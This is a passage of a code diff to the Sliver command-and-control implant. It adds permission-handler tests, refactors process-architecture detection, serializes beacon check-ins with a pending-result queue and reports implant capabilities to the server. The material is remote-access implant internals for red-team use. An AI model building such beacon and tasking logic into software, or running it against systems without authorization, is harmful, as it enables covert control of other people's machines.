err = os.Chown(target, int(uid), int(gid))
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
}
|
||||
}
|
||||
|
||||
finished:
|
||||
data, err = proto.Marshal(chown)
|
||||
resp(data, err)
|
||||
}
|
||||
@@ -0,0 +1,153 @@
|
||||
//go:build darwin || linux
|
||||
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"os"
|
||||
"os/user"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"syscall"
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
func TestUnixPermissionHandlersRegistered(t *testing.T) {
|
||||
handlers := GetSystemHandlers()
|
||||
for _, messageType := range []uint32{sliverpb.MsgChmodReq, sliverpb.MsgChownReq} {
|
||||
if _, ok := handlers[messageType]; !ok {
|
||||
t.Fatalf("message type %d is not registered", messageType)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestChmodHandlerRecursive(t *testing.T) {
|
||||
target := filepath.Join(t.TempDir(), "target")
|
||||
nested := filepath.Join(target, "nested")
|
||||
file := filepath.Join(nested, "fixture.txt")
|
||||
if err := os.MkdirAll(nested, 0o700); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(file, []byte("fixture"), 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
request, err := proto.Marshal(&sliverpb.ChmodReq{Path: target, FileMode: "0750", Recursive: true})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
called := false
|
||||
chmodHandler(request, func(data []byte, handlerErr error) {
|
||||
called = true
|
||||
if handlerErr != nil {
|
||||
t.Fatalf("chmodHandler callback error: %v", handlerErr)
|
||||
}
|
||||
response := &sliverpb.Chmod{}
|
||||
if err := proto.Unmarshal(data, response); err != nil {
|
||||
t.Fatalf("decode chmod response: %v", err)
|
||||
}
|
||||
if response.GetResponse().GetErr() != "" {
|
||||
t.Fatalf("chmodHandler response error: %s", response.GetResponse().GetErr())
|
||||
}
|
||||
if response.Path != target {
|
||||
t.Fatalf("chmodHandler path = %q, want %q", response.Path, target)
|
||||
}
|
||||
})
|
||||
if !called {
|
||||
t.Fatal("chmodHandler did not invoke its response callback")
|
||||
}
|
||||
|
||||
for _, path := range []string{target, nested, file} {
|
||||
info, err := os.Stat(path)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := info.Mode().Perm(); got != 0o750 {
|
||||
t.Errorf("%s mode = %o, want 750", path, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestChownHandlerRecursiveCurrentOwner(t *testing.T) {
|
||||
current, group, wantUID, wantGID := currentOwner(t)
|
||||
|
||||
target := filepath.Join(t.TempDir(), "target")
|
||||
file := filepath.Join(target, "fixture.txt")
|
||||
if err := os.MkdirAll(target, 0o700); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(file, []byte("fixture"), 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
request, err := proto.Marshal(&sliverpb.ChownReq{
|
||||
Path: target, Uid: current.Username, Gid: group.Name, Recursive: true,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
called := false
|
||||
chownHandler(request, func(data []byte, handlerErr error) {
|
||||
called = true
|
||||
if handlerErr != nil {
|
||||
t.Fatalf("chownHandler callback error: %v", handlerErr)
|
||||
}
|
||||
response := &sliverpb.Chown{}
|
||||
if err := proto.Unmarshal(data, response); err != nil {
|
||||
t.Fatalf("decode chown response: %v", err)
|
||||
}
|
||||
if response.GetResponse().GetErr() != "" {
|
||||
t.Fatalf("chownHandler response error: %s", response.GetResponse().GetErr())
|
||||
}
|
||||
if response.Path != target {
|
||||
t.Fatalf("chownHandler path = %q, want %q", response.Path, target)
|
||||
}
|
||||
})
|
||||
if !called {
|
||||
t.Fatal("chownHandler did not invoke its response callback")
|
||||
}
|
||||
|
||||
assertOwner(t, []string{target, file}, wantUID, wantGID)
|
||||
}
|
||||
|
||||
func currentOwner(t *testing.T) (*user.User, *user.Group, uint64, uint64) {
|
||||
t.Helper()
|
||||
current, err := user.Current()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
group, err := user.LookupGroupId(current.Gid)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
wantUID, err := strconv.ParseUint(current.Uid, 10, 32)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
wantGID, err := strconv.ParseUint(group.Gid, 10, 32)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return current, group, wantUID, wantGID
|
||||
}
|
||||
|
||||
func assertOwner(t *testing.T, paths []string, wantUID uint64, wantGID uint64) {
|
||||
t.Helper()
|
||||
for _, path := range paths {
|
||||
info, err := os.Stat(path)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
stat, ok := info.Sys().(*syscall.Stat_t)
|
||||
if !ok {
|
||||
t.Fatalf("%s stat type = %T, want *syscall.Stat_t", path, info.Sys())
|
||||
}
|
||||
if uint64(stat.Uid) != wantUID || uint64(stat.Gid) != wantGID {
|
||||
t.Errorf("%s owner = %d:%d, want %d:%d", path, stat.Uid, stat.Gid, wantUID, wantGID)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -912,63 +912,8 @@ func mountHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
// Extensions
|
||||
|
||||
func registerExtensionHandler(data []byte, resp RPCResponse) {
|
||||
registerReq := &sliverpb.RegisterExtensionReq{}
|
||||
err := proto.Unmarshal(data, registerReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
ext := extension.NewWindowsExtension(registerReq.Data, registerReq.Name, registerReq.OS, registerReq.Init)
|
||||
err = ext.Load()
|
||||
registerResp := &sliverpb.RegisterExtension{Response: &commonpb.Response{}}
|
||||
if err != nil {
|
||||
registerResp.Response.Err = err.Error()
|
||||
} else {
|
||||
extension.Add(ext)
|
||||
}
|
||||
data, err = proto.Marshal(registerResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func callExtensionHandler(data []byte, resp RPCResponse) {
|
||||
callReq := &sliverpb.CallExtensionReq{}
|
||||
err := proto.Unmarshal(data, callReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
callResp := &sliverpb.CallExtension{Response: &commonpb.Response{}}
|
||||
gotOutput := false
|
||||
err = extension.Run(callReq.Name, callReq.Export, callReq.Args, func(out []byte) {
|
||||
gotOutput = true
|
||||
callResp.Output = out
|
||||
data, err = proto.Marshal(callResp)
|
||||
resp(data, err)
|
||||
})
|
||||
// Only send back synchronously if there was an error
|
||||
if err != nil || !gotOutput {
|
||||
if err != nil {
|
||||
callResp.Response.Err = err.Error()
|
||||
}
|
||||
data, err = proto.Marshal(callResp)
|
||||
resp(data, err)
|
||||
}
|
||||
}
|
||||
|
||||
func listExtensionsHandler(data []byte, resp RPCResponse) {
|
||||
lstReq := &sliverpb.ListExtensionsReq{}
|
||||
err := proto.Unmarshal(data, lstReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
exts := extension.List()
|
||||
lstResp := &sliverpb.ListExtensions{
|
||||
Response: &commonpb.Response{},
|
||||
Names: exts,
|
||||
}
|
||||
data, err = proto.Marshal(lstResp)
|
||||
resp(data, err)
|
||||
func newExtension(data []byte, id string, arch string, init string) extension.Extension {
|
||||
return extension.NewWindowsExtension(data, id, arch, init)
|
||||
}
|
||||
|
||||
// Stub since Windows doesn't support UID
|
||||
|
||||
@@ -201,10 +201,10 @@ func netstatHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
entries = append(entries, buildEntries("tcp6", tabs)...)
|
||||
}
|
||||
result.Entries = entries
|
||||
data, err := proto.Marshal(result)
|
||||
resp(data, err)
|
||||
}
|
||||
result.Entries = entries
|
||||
data, err = proto.Marshal(result)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func buildEntries(proto string, s []netstat.SockTabEntry) []*sliverpb.SockTabEntry {
|
||||
|
||||
@@ -0,0 +1,42 @@
|
||||
// Package ps provides process enumeration and architecture detection.
|
||||
package ps
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestArchitectureFromELFMachine(t *testing.T) {
|
||||
tests := map[uint16]string{
|
||||
3: "x86",
|
||||
62: "x86_64",
|
||||
183: "aarch64",
|
||||
179: "",
|
||||
}
|
||||
for machine, expected := range tests {
|
||||
if actual := architectureFromELFMachine(machine); actual != expected {
|
||||
t.Errorf("machine %d: got %q, want %q", machine, actual, expected)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestArchitectureFromWindowsMachines(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
processMachine uint16
|
||||
nativeMachine uint16
|
||||
expected string
|
||||
}{
|
||||
{name: "x86 on amd64", processMachine: 0x014c, nativeMachine: 0x8664, expected: "x86"},
|
||||
{name: "x86 on arm64", processMachine: 0x014c, nativeMachine: 0xaa64, expected: "x86"},
|
||||
{name: "native amd64", nativeMachine: 0x8664, expected: "x86_64"},
|
||||
{name: "native arm64", nativeMachine: 0xaa64, expected: "arm64"},
|
||||
{name: "exact amd64", processMachine: 0x8664, nativeMachine: 0xaa64, expected: "x86_64"},
|
||||
{name: "unknown", processMachine: 0xffff, nativeMachine: 0xaa64, expected: ""},
|
||||
}
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
actual := architectureFromWindowsMachines(test.processMachine, test.nativeMachine)
|
||||
if actual != test.expected {
|
||||
t.Fatalf("got %q, want %q", actual, test.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -56,3 +56,36 @@ func Kill(pid int) error {
|
||||
}
|
||||
return p.Kill()
|
||||
}
|
||||
|
||||
func architectureFromELFMachine(machine uint16) string {
|
||||
switch machine {
|
||||
case 3:
|
||||
return "x86"
|
||||
case 62:
|
||||
return "x86_64"
|
||||
case 183:
|
||||
return "aarch64"
|
||||
default:
|
||||
return ""
|
||||
}
|
||||
}
|
||||
|
||||
func architectureFromWindowsMachine(machine uint16) string {
|
||||
switch machine {
|
||||
case 0x014c:
|
||||
return "x86"
|
||||
case 0x8664:
|
||||
return "x86_64"
|
||||
case 0xaa64:
|
||||
return "arm64"
|
||||
default:
|
||||
return ""
|
||||
}
|
||||
}
|
||||
|
||||
func architectureFromWindowsMachines(processMachine, nativeMachine uint16) string {
|
||||
if processMachine != 0 {
|
||||
return architectureFromWindowsMachine(processMachine)
|
||||
}
|
||||
return architectureFromWindowsMachine(nativeMachine)
|
||||
}
|
||||
@@ -4,6 +4,7 @@
|
||||
package ps
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
@@ -114,16 +115,7 @@ func getProcessArchitecture(pid int) (string, error) {
|
||||
return "", nil
|
||||
}
|
||||
|
||||
if mach[0] == 0xb3 {
|
||||
return "aarch64", nil
|
||||
}
|
||||
if mach[0] == 0x03 {
|
||||
return "x86", nil
|
||||
}
|
||||
if mach[0] == 0x3e {
|
||||
return "x86_64", nil
|
||||
}
|
||||
return "", err
|
||||
return architectureFromELFMachine(binary.LittleEndian.Uint16(mach)), nil
|
||||
}
|
||||
|
||||
// Refresh reloads all the data associated with this process.
|
||||
|
||||
@@ -4,6 +4,7 @@
|
||||
package ps
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"runtime"
|
||||
"strings"
|
||||
@@ -14,6 +15,16 @@ import (
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
const processMachineTypeInfo = 9
|
||||
|
||||
type processMachineInformation struct {
|
||||
ProcessMachine uint16
|
||||
Reserved uint16
|
||||
MachineAttributes uint32
|
||||
}
|
||||
|
||||
var getProcessInformation = windows.NewLazySystemDLL("kernel32.dll").NewProc("GetProcessInformation")
|
||||
|
||||
// WindowsProcess is an implementation of Process for Windows.
|
||||
type WindowsProcess struct {
|
||||
pid int
|
||||
@@ -267,32 +278,7 @@ func getCmdLine(pid uint32) ([]string, error) {
|
||||
return strings.Fields(syscall.UTF16ToString(module.SzExePath[:]) + " : " + syscall.UTF16ToString(cmdLine[:])), nil
|
||||
}
|
||||
|
||||
var nativeArch string = ""
|
||||
var nativeArchLookup bool = true
|
||||
|
||||
func getProcessArchitecture(pid uint32) (string, error) {
|
||||
|
||||
if nativeArchLookup {
|
||||
nativeArchLookup = false
|
||||
if runtime.GOARCH == "amd64" {
|
||||
nativeArch = "x86_64"
|
||||
} else {
|
||||
var is64Bit bool
|
||||
pHandle := windows.CurrentProcess()
|
||||
if uint(pHandle) == 0 {
|
||||
nativeArch = ""
|
||||
} else if err := windows.IsWow64Process(pHandle, &is64Bit); err != nil {
|
||||
nativeArch = ""
|
||||
} else {
|
||||
if !is64Bit {
|
||||
nativeArch = "x86"
|
||||
} else {
|
||||
nativeArch = "x86_64"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
proc, err := syscall.OpenProcess(
|
||||
windows.PROCESS_QUERY_INFORMATION,
|
||||
false,
|
||||
@@ -309,22 +295,74 @@ func getProcessArchitecture(pid uint32) (string, error) {
|
||||
}
|
||||
}
|
||||
|
||||
arch := ""
|
||||
var isWow64 bool
|
||||
if err := windows.IsWow64Process(windows.Handle(proc), &isWow64); err == nil {
|
||||
if isWow64 {
|
||||
arch = "x86"
|
||||
} else {
|
||||
arch = nativeArch
|
||||
arch, queryErr := queryProcessArchitecture(windows.Handle(proc))
|
||||
closeErr := syscall.CloseHandle(proc)
|
||||
if queryErr != nil {
|
||||
return "", queryErr
|
||||
}
|
||||
if closeErr != nil {
|
||||
return "", closeErr
|
||||
}
|
||||
return arch, nil
|
||||
}
|
||||
|
||||
func queryProcessArchitecture(handle windows.Handle) (string, error) {
|
||||
if arch, err := processMachineArchitecture(handle); err == nil && arch != "" {
|
||||
return arch, nil
|
||||
}
|
||||
|
||||
var processMachine, nativeMachine uint16
|
||||
if err := windows.IsWow64Process2(handle, &processMachine, &nativeMachine); err == nil {
|
||||
if arch := architectureFromWindowsMachines(processMachine, nativeMachine); arch != "" {
|
||||
return arch, nil
|
||||
}
|
||||
}
|
||||
|
||||
err = syscall.CloseHandle(proc)
|
||||
if err != nil {
|
||||
var isWow64 bool
|
||||
if err := windows.IsWow64Process(handle, &isWow64); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if isWow64 {
|
||||
return "x86", nil
|
||||
}
|
||||
|
||||
return arch, err
|
||||
switch runtime.GOARCH {
|
||||
case "amd64":
|
||||
return "x86_64", nil
|
||||
case "arm64":
|
||||
return "arm64", nil
|
||||
case "386":
|
||||
var currentIsWow64 bool
|
||||
if err := windows.IsWow64Process(windows.CurrentProcess(), ¤tIsWow64); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if currentIsWow64 {
|
||||
return "x86_64", nil
|
||||
}
|
||||
return "x86", nil
|
||||
default:
|
||||
return "", nil
|
||||
}
|
||||
}
|
||||
|
||||
func processMachineArchitecture(handle windows.Handle) (string, error) {
|
||||
if err := getProcessInformation.Find(); err != nil {
|
||||
return "", err
|
||||
}
|
||||
info := processMachineInformation{}
|
||||
result, _, callErr := getProcessInformation.Call(
|
||||
uintptr(handle),
|
||||
uintptr(processMachineTypeInfo),
|
||||
uintptr(unsafe.Pointer(&info)),
|
||||
unsafe.Sizeof(info),
|
||||
)
|
||||
if result == 0 {
|
||||
if callErr != nil && !errors.Is(callErr, syscall.Errno(0)) {
|
||||
return "", callErr
|
||||
}
|
||||
return "", syscall.EINVAL
|
||||
}
|
||||
return architectureFromWindowsMachine(info.ProcessMachine), nil
|
||||
}
|
||||
|
||||
func getSessionID(pid uint32) (int, error) {
|
||||
|
||||
@@ -0,0 +1,26 @@
|
||||
package ps
|
||||
|
||||
import (
|
||||
"os"
|
||||
"runtime"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestGetProcessArchitectureCurrentProcess(t *testing.T) {
|
||||
expected := map[string]string{
|
||||
"386": "x86",
|
||||
"amd64": "x86_64",
|
||||
"arm64": "arm64",
|
||||
}[runtime.GOARCH]
|
||||
if expected == "" {
|
||||
t.Skipf("unsupported test architecture %s", runtime.GOARCH)
|
||||
}
|
||||
|
||||
actual, err := getProcessArchitecture(uint32(os.Getpid()))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if actual != expected {
|
||||
t.Fatalf("got %q, want %q", actual, expected)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
//go:build !sliver_lint && ((darwin && (amd64 || arm64)) || (linux && (386 || amd64 || arm64)) || (windows && (386 || amd64 || arm64)))
|
||||
|
||||
package runner
|
||||
|
||||
import "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
|
||||
func implantCapabilities() uint64 {
|
||||
return uint64(sliverpb.ImplantCapability_IMPLANT_CAPABILITY_BOF_V1)
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
//go:build !sliver_lint && !((darwin && (amd64 || arm64)) || (linux && (386 || amd64 || arm64)) || (windows && (386 || amd64 || arm64)))
|
||||
|
||||
package runner
|
||||
|
||||
func implantCapabilities() uint64 {
|
||||
return 0
|
||||
}
|
||||
@@ -149,6 +149,7 @@ func beaconStartup() {
|
||||
abort <- struct{}{}
|
||||
}()
|
||||
beacons := transports.StartBeaconLoop(abort)
|
||||
pendingResults := &beaconResultQueue{}
|
||||
for beacon := range beacons {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Next beacon = %v", beacon)
|
||||
@@ -161,7 +162,7 @@ func beaconStartup() {
|
||||
// {{end}}
|
||||
continue
|
||||
}
|
||||
err := beaconMainLoop(beacon)
|
||||
err := beaconMainLoop(beacon, pendingResults)
|
||||
if err != nil {
|
||||
connectionErrors++
|
||||
if transports.GetMaxConnectionErrors() < connectionErrors {
|
||||
@@ -217,7 +218,38 @@ func sessionStartup() {
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.IsBeacon}}
|
||||
func beaconMainLoop(beacon *transports.Beacon) error {
|
||||
type beaconResultQueue struct {
|
||||
mu sync.Mutex
|
||||
results []*sliverpb.Envelope
|
||||
}
|
||||
|
||||
func (q *beaconResultQueue) add(result *sliverpb.Envelope) {
|
||||
q.mu.Lock()
|
||||
defer q.mu.Unlock()
|
||||
q.results = append(q.results, result)
|
||||
}
|
||||
|
||||
func (q *beaconResultQueue) drain() []*sliverpb.Envelope {
|
||||
q.mu.Lock()
|
||||
defer q.mu.Unlock()
|
||||
results := q.results
|
||||
q.results = nil
|
||||
return results
|
||||
}
|
||||
|
||||
func (q *beaconResultQueue) prepend(results []*sliverpb.Envelope) {
|
||||
if len(results) == 0 {
|
||||
return
|
||||
}
|
||||
q.mu.Lock()
|
||||
defer q.mu.Unlock()
|
||||
combined := make([]*sliverpb.Envelope, 0, len(results)+len(q.results))
|
||||
combined = append(combined, results...)
|
||||
combined = append(combined, q.results...)
|
||||
q.results = combined
|
||||
}
|
||||
|
||||
func beaconMainLoop(beacon *transports.Beacon, pendingResults *beaconResultQueue) error {
|
||||
// Register beacon
|
||||
err := beacon.Init()
|
||||
if err != nil {
|
||||
@@ -250,7 +282,6 @@ func beaconMainLoop(beacon *transports.Beacon) error {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Registering beacon with server")
|
||||
// {{end}}
|
||||
nextCheckin := time.Now().Add(beacon.Duration())
|
||||
register := registerSliver()
|
||||
register.ActiveC2 = beacon.ActiveC2
|
||||
register.ProxyURL = beacon.ProxyURL
|
||||
@@ -264,44 +295,40 @@ func beaconMainLoop(beacon *transports.Beacon) error {
|
||||
time.Sleep(time.Second)
|
||||
beacon.Close()
|
||||
|
||||
// BeaconMain - Tasks run in background goroutines, check-ins happen on schedule
|
||||
// Results are collected and sent on subsequent check-ins
|
||||
pendingResults := make(chan *sliverpb.Envelope, 100)
|
||||
errors := make(chan error)
|
||||
shortCircuit := make(chan struct{})
|
||||
return beaconCheckinLoop(beacon, pendingResults, beaconMain)
|
||||
}
|
||||
|
||||
type beaconCheckinFunc func(*transports.Beacon, time.Time, *beaconResultQueue) error
|
||||
|
||||
// beaconCheckinLoop schedules check-ins without overlapping them. Beacon
|
||||
// transport callbacks share per-check-in connection state, so the previous
|
||||
// check-in must finish closing its resources before the next one can start.
|
||||
func beaconCheckinLoop(beacon *transports.Beacon, pendingResults *beaconResultQueue, checkin beaconCheckinFunc) error {
|
||||
for {
|
||||
duration := beacon.Duration()
|
||||
nextCheckin = time.Now().Add(duration)
|
||||
|
||||
go func() {
|
||||
oldInterval := beacon.Interval()
|
||||
err := beaconMain(beacon, nextCheckin, pendingResults)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] main error: %v", nextCheckin)
|
||||
// {{end}}
|
||||
errors <- err
|
||||
} else if oldInterval != beacon.Interval() {
|
||||
// The beacon's interval was modified so we need to short circuit
|
||||
// the current sleep and tell the server when the next checkin will
|
||||
// be based on the new interval.
|
||||
shortCircuit <- struct{}{}
|
||||
}
|
||||
}()
|
||||
nextCheckin := time.Now().Add(duration)
|
||||
oldInterval := beacon.Interval()
|
||||
err := checkin(beacon, nextCheckin, pendingResults)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] main error: %v", nextCheckin)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] sleep until %v", nextCheckin)
|
||||
// {{end}}
|
||||
select {
|
||||
case <-errors:
|
||||
return err
|
||||
case <-time.After(duration):
|
||||
case <-shortCircuit:
|
||||
// Short circuit current duration with no error
|
||||
if oldInterval == beacon.Interval() {
|
||||
// Keep the original start-to-start cadence when the check-in
|
||||
// finishes before its deadline. If it overruns, begin the next
|
||||
// check-in immediately without overlapping shared transport state.
|
||||
if remaining := time.Until(nextCheckin); 0 < remaining {
|
||||
time.Sleep(remaining)
|
||||
}
|
||||
}
|
||||
|
||||
// check if reconfig used to set a new C2-URI
|
||||
// check if reconfig used to set a new C2-URI
|
||||
if c2 := transports.GetC2URI(); c2 != "" && c2 != beacon.ActiveC2 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] C2 URI changed to %s, reconnecting...", c2)
|
||||
@@ -309,10 +336,9 @@ func beaconMainLoop(beacon *transports.Beacon) error {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func beaconMain(beacon *transports.Beacon, nextCheckin time.Time, pendingResults chan *sliverpb.Envelope) error {
|
||||
func beaconMain(beacon *transports.Beacon, nextCheckin time.Time, pendingResults *beaconResultQueue) error {
|
||||
err := beacon.Start()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -328,17 +354,8 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time, pendingResults
|
||||
beacon.Close()
|
||||
}()
|
||||
|
||||
// Collect any pending results from background tasks
|
||||
var completedResults []*sliverpb.Envelope
|
||||
collecting:
|
||||
for {
|
||||
select {
|
||||
case result := <-pendingResults:
|
||||
completedResults = append(completedResults, result)
|
||||
default:
|
||||
break collecting
|
||||
}
|
||||
}
|
||||
// Collect any pending results from background tasks.
|
||||
completedResults := pendingResults.drain()
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] sending check in with %d pending results...", len(completedResults))
|
||||
@@ -349,11 +366,18 @@ collecting:
|
||||
Tasks: completedResults,
|
||||
}))
|
||||
if err != nil {
|
||||
pendingResults.prepend(completedResults)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] send failure %s", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
// The server deliberately does not return pending tasks on a result-only
|
||||
// check-in. Waiting for a response here blocks this loop until another
|
||||
// check-in replaces the transport connection.
|
||||
if len(completedResults) > 0 {
|
||||
return nil
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] recv task(s) ...")
|
||||
// {{end}}
|
||||
@@ -401,7 +425,7 @@ collecting:
|
||||
// Dispatch tasks to background - results sent to pendingResults as each completes
|
||||
// Extensions must be registered synchronously before other tasks can use them
|
||||
for _, r := range beaconHandleTasklist(tasksExtensionRegister) {
|
||||
pendingResults <- r
|
||||
pendingResults.add(r)
|
||||
}
|
||||
|
||||
// Dispatch other tasks individually - each sends its result when done
|
||||
@@ -414,7 +438,7 @@ collecting:
|
||||
}
|
||||
|
||||
// beaconDispatchTasks dispatches tasks to run in background, sending results as each completes
|
||||
func beaconDispatchTasks(tasks []*sliverpb.Envelope, pendingResults chan *sliverpb.Envelope) {
|
||||
func beaconDispatchTasks(tasks []*sliverpb.Envelope, pendingResults *beaconResultQueue) {
|
||||
sysHandlers := handlers.GetSystemHandlers()
|
||||
specHandlers := handlers.GetKillHandlers()
|
||||
|
||||
@@ -434,10 +458,10 @@ func beaconDispatchTasks(tasks []*sliverpb.Envelope, pendingResults chan *sliver
|
||||
}
|
||||
log.Printf("[beacon] task completed (id: %d)", taskID)
|
||||
// {{end}}
|
||||
pendingResults <- &sliverpb.Envelope{
|
||||
pendingResults.add(&sliverpb.Envelope{
|
||||
ID: taskID,
|
||||
Data: data,
|
||||
}
|
||||
})
|
||||
})
|
||||
}()
|
||||
// {{else}}
|
||||
@@ -449,26 +473,26 @@ func beaconDispatchTasks(tasks []*sliverpb.Envelope, pendingResults chan *sliver
|
||||
}
|
||||
log.Printf("[beacon] task completed (id: %d)", taskID)
|
||||
// {{end}}
|
||||
pendingResults <- &sliverpb.Envelope{
|
||||
pendingResults.add(&sliverpb.Envelope{
|
||||
ID: taskID,
|
||||
Data: data,
|
||||
}
|
||||
})
|
||||
})
|
||||
}()
|
||||
// {{end}}
|
||||
} else if task.Type == sliverpb.MsgOpenSession {
|
||||
go openSessionHandler(task.Data)
|
||||
pendingResults <- &sliverpb.Envelope{
|
||||
pendingResults.add(&sliverpb.Envelope{
|
||||
ID: task.ID,
|
||||
Data: []byte{},
|
||||
}
|
||||
})
|
||||
} else if handler, ok := specHandlers[task.Type]; ok {
|
||||
go handler(task.Data, nil)
|
||||
} else {
|
||||
pendingResults <- &sliverpb.Envelope{
|
||||
pendingResults.add(&sliverpb.Envelope{
|
||||
ID: task.ID,
|
||||
UnknownMessageType: true,
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -783,5 +807,6 @@ func registerSliver() *sliverpb.Register {
|
||||
ConfigID: "{{ .Config.ID }}",
|
||||
PeerID: pivots.MyPeerID,
|
||||
Locale: locale.GetLocale(),
|
||||
Capabilities: implantCapabilities(),
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,220 @@
|
||||
//go:build windows && !sliver_lint
|
||||
|
||||
package runner
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
func setBeaconTimingForTest(t *testing.T, interval time.Duration) {
|
||||
t.Helper()
|
||||
oldInterval := transports.GetInterval()
|
||||
oldJitter := transports.GetJitter()
|
||||
oldC2URI := transports.GetC2URI()
|
||||
transports.SetInterval(int64(interval))
|
||||
transports.SetJitter(1) // Int63n(1) always yields zero jitter.
|
||||
transports.SetC2URI("")
|
||||
t.Cleanup(func() {
|
||||
transports.SetInterval(oldInterval)
|
||||
transports.SetJitter(oldJitter)
|
||||
transports.SetC2URI(oldC2URI)
|
||||
})
|
||||
}
|
||||
|
||||
func TestBeaconCheckinLoopSerializesSlowCheckins(t *testing.T) {
|
||||
const interval = 10 * time.Millisecond
|
||||
setBeaconTimingForTest(t, interval)
|
||||
|
||||
firstStarted := make(chan struct{})
|
||||
secondStarted := make(chan struct{})
|
||||
releaseFirst := make(chan struct{})
|
||||
var releaseOnce sync.Once
|
||||
release := func() { releaseOnce.Do(func() { close(releaseFirst) }) }
|
||||
defer release()
|
||||
|
||||
stopErr := errors.New("stop check-in loop")
|
||||
var stateMu sync.Mutex
|
||||
active := 0
|
||||
maxActive := 0
|
||||
calls := 0
|
||||
checkin := func(*transports.Beacon, time.Time, *beaconResultQueue) error {
|
||||
stateMu.Lock()
|
||||
active++
|
||||
calls++
|
||||
call := calls
|
||||
if maxActive < active {
|
||||
maxActive = active
|
||||
}
|
||||
stateMu.Unlock()
|
||||
defer func() {
|
||||
stateMu.Lock()
|
||||
active--
|
||||
stateMu.Unlock()
|
||||
}()
|
||||
|
||||
switch call {
|
||||
case 1:
|
||||
close(firstStarted)
|
||||
<-releaseFirst
|
||||
return nil
|
||||
case 2:
|
||||
close(secondStarted)
|
||||
return stopErr
|
||||
default:
|
||||
return errors.New("unexpected extra check-in")
|
||||
}
|
||||
}
|
||||
|
||||
done := make(chan error, 1)
|
||||
go func() {
|
||||
done <- beaconCheckinLoop(&transports.Beacon{}, &beaconResultQueue{}, checkin)
|
||||
}()
|
||||
|
||||
select {
|
||||
case <-firstStarted:
|
||||
case <-time.After(time.Second):
|
||||
t.Fatal("first check-in did not start")
|
||||
}
|
||||
overlapped := false
|
||||
select {
|
||||
case <-secondStarted:
|
||||
overlapped = true
|
||||
case <-time.After(5 * interval):
|
||||
}
|
||||
|
||||
release()
|
||||
select {
|
||||
case err := <-done:
|
||||
if !errors.Is(err, stopErr) {
|
||||
